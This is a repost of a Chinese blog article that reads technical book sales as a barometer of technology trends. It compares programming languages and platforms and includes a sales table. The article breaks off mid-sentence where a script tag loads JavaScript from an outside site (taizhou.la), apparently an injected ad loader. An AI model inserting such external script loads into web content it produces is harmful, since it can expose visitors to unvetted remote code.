圖書:技術趨勢晴雨表

一不小心,發現我的這篇文章當作《程序員》六週年的推薦文章上CSDN頭條了。那我自己也收藏一下吧。

圖書:技術趨勢晴雨表
 文/劉江

去年年底,我曾經應《程序員》雜誌之邀,以一篇同題文章對全年技術圖書進行了總的評述,其中主要根據圖書購買與技術的市場需求之間存在的關係(如果假設目前 的技術圖書出版和購買雙方都比較理性的話,這種關係就是成立的),從市場數據總結技術圖書的市場表現和變化,從中看出技術市場本身的趨勢。應該說,這種觀 察非常有趣,而且比從招聘需求等方面觀察更加全面。

去年的文中曾經提到,美國技術圖書出版社O'Reilly公司的CEO Tim O'Reilly也英雄所見略同地在其博客上發表過類似的文章。他們公司內部利用圖書市場調查公司BookScan提供的計算機圖書的銷售數據(涵蓋10000種圖書),建立了一個MySQL數據倉庫,對各類圖書的此消彼漲進行分析。結果表明,各類圖書銷售的走勢,很好地反映了北美技術市場的變動。

那麼,半年之後情況又是如何呢?

 

編程語言

編程語言對程序員來說,是一個有些陳詞濫調又永遠無法迴避的話題。去年年底時,我們根據數據的統計,做出了這樣的結論:

“可以明顯地看出,C++Java是目前當然的主流。C++比較穩定,但是有走下坡路的跡象;Java出書相對較少,但是新書多,效率高,反映出Java目前市場實際需求旺盛。

“……Visual Basic品種較多……,而且各領域都有,說明其應用和擁躉仍然廣泛。相比之下,VB.NETC#Delphi基本上處在稍弱的同一檔次,總體看,似乎Delphi還處於上風。然而,.NET語言與Delphi顯然是此消彼長的關係。……C#賣得較好的書幾乎都是有關數據庫開發和Web開發的,背後其實都是ASP.NET在支持,某種程度上說明了.NET目前的應用現狀。

“雖然最近呼聲不小,但是國內多年來排斥腳本語言的現象看來並沒有太大改觀,JavaScript已經與盛期不可同日而語,PHP可以說是一息尚存,而PythonPerlRubyLua之類語言,尚未找到立足之地。其實有一個異類倒是表現不錯,就是Flash中內置的ActionScript……”

半年以後,情況已經發生了微妙的變化,如表1所 示。需要注意的是,與半年前的數據不同的是,我們這一次篩除了明顯是作爲教材和考試輔導圖書銷售的品種(銷售僅集中在個別地區),這樣更能反映市場的真實 情況。表中的具體數字來自真實市場統計數據(包括傳統書店和網上銷售)的抽象,可以看作是一種指標,下文中所謂的入圍指的是本階段內總銷售量達到了基本閾 值。可以看到,這張表的排序與TIOBE的編程社區指數大致相同,顯示出國內外在編程語言的選擇上非常接近,這也反映出編程語言的戰爭基本上已經告一段落。

與半年相比,有如下幾點主要的變化:

1. 霸主易手。

雖然JavaC++仍然是市場主流,但是兩者之間力量對比已經發生了逆轉。其中當然有教材排除帶來的影響,但是總體而言不大。Java圖書無論從品種還是平均表現上,都超過了C++一大截。差距最大的是Topseller的表現——單位時間內,《Java編程思想》的銷量幾乎是《C++ Primer中文版》(第四版)的兩倍。這在某種程度上反映了目前兩種語言的態勢。需要考慮到的是Java類圖書不僅包括語言和工具,更包括各種框架,而且衆所周知,Java的各層框架目前仍然在層出不窮。對比國外的相關分析,可以預測C++的份額還會減少,Java的霸主地位將持續一段時間,但是C#VB等微軟語言的威脅正在加大。

2. 第二集團軍開始兩極分化。

即使不考慮VB.NET的貢獻,VB本身的實力仍然非常雄厚,圖書涉及面非常廣,而且這還是在篩除了不少VB教材的情況下取得的。可以預見,在很長一段時間內,VB的生命力仍將旺盛下去。不過,從另一方面來看,從VB轉移到VB.NET上的開發者似乎還是不多。

C#正在穩步成長,吸引着來自VBDelphiJava等各個領域的開發者。現在,市場上已經有不少純C#語言的圖書開始表現優異,不再只是藉助ASP.NET的力量打天下。隨着.NET 2.0進入主流,這種趨勢必將加快。這不,最近上市的清華大學出版社《C#入門經典》、《C#高級編程》都受到了市場的熱捧。而這兩本書在國外衆多C#著作中實際上只能算做中品,隨着Andrew Troelsen的《Pro C#&.NET Platform》(人民郵電出版社即出)和Jesse LibertyProgramming C#》(電子工業出版社即出)等名著的出版,C#的市場份額有望繼續增加。實際上,在國外C#已經成爲升幅最大的語言之一。

上次我們沒有仔細分析的C語言,在去除了教材之後顯露崢嶸。與VB類似,除了純語言教程之外,還有單片機、嵌入式、Linux等平臺上的C語言圖書也銷勢良好,在單品種銷量方面更是佔據了第三的位置——C語言這棵常青樹,仍將繼續笑傲江湖。

原來處於第二集團的Delphi,在東家頻生變故、競爭場上又腹背受敵的窘境中,已經明顯開始掉隊。不僅品種數量開始減少,單品種表現也大差於對手。除了人民郵電出版社新近出版的《Delphi數據庫管理系統開發從技術到實踐》等實用型圖書熱銷,說明其用戶羣體仍然不小之外,Marco Cantu的經典著作新版都沒有取得什麼像樣的成績,只能證明Delphi的風光不再。

3. 腳本語言冷熱不均

JavaScriptPHP顯然都是半年來Web 2.0熱潮的受益者。入圍品種的稀少其實說明了市場潛力的巨大。因爲單品種銷量在那裏擺着呢,這冠亞軍可不是白給的。PHP的單品種銷量甚至達到了Java的兩倍,實在令人咋舌。JavaScript這個原來很多人不大看得起的語言,現在卻成了Web開發人員必須熟練掌握又不大容易真正掌握的攔路虎。從趨勢判斷,Ajax的漸入佳境,將繼續推動JavaScript的需求增長。國外JavaScript圖書的增幅達到了135%。

其他腳本語言,包括曾經在國外非常紅火的PerlPython,仍然沒有得到一席之地。Ruby能夠借Rails打破這種宿命嗎?從PHP的經歷來看,並非沒有可能。這不,以《Ruby for Rails》(中文版將由人民郵電出版社出版)、《Agile Web Development with Rails》(中文版將由電子工業出版社出版)爲代表的Ruby&Rails類圖書已經在Amazon上大紅大紫,Ruby圖書的增幅更在733%,僅僅幾本書的市場份額就已經超過了Python,逼近PHP的三分之一,這還不包括銷量幾乎相等的電子圖書。但是,競爭已經開始,PHPPython也開始有了各種類似框架:CakePHPDjangoTurboGear等等正在虎視眈眈。

 

1 從圖書銷售看語言走勢

 

語言

入圍品種

總銷量

每品種平均

單位時間最高均值

說明

Java

82

34209

417

418

包括JSP19種)、EclipseStrutsHibernate

C++

70

26028

372

240

包括標準C++23種,平均482)、Visual C++41種,平均329)、C++.NET3種,平均317)、C++ Builder3,平均174

VB

43

12645

354

275

包括VB.NET7種,平均367

C

18

8414

467

228

 

C#

16

4927

308

258

 

Delphi

11

2169

197

149

 

JavaScript

5

2858

572

172

 

PHP

2

1661

830

288

 

PowerBuilder

1

292

292

58

 

FORTRAN

1

340

340

68

 

Perl

0

 

Python

0

 

Ruby

0

 

 

開發平臺

開發平臺是另一個爭論不休的熱點話題。去年年底,我們的結論是通過JSPASP的比較做出的:

“兩種平臺的主流應用JSPASP的比較可能更加反映事實。JSP入圍品種比ASP(含ASP.NET)要少得多。有意思的是,既不好用也不安全的傳統ASP從圖書來看,居然還是主流……不過……ASP.NET的勢頭明顯上來了,……改朝換代已經爲時不遠。”

應該說,這種比較並不全面。從表1中可以看出,如果排除前.NET的微軟技術,.NET語言和開發工具(累計僅26種)其實無法與Java匹敵。雖然.NET的主力軍ASP.NET <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章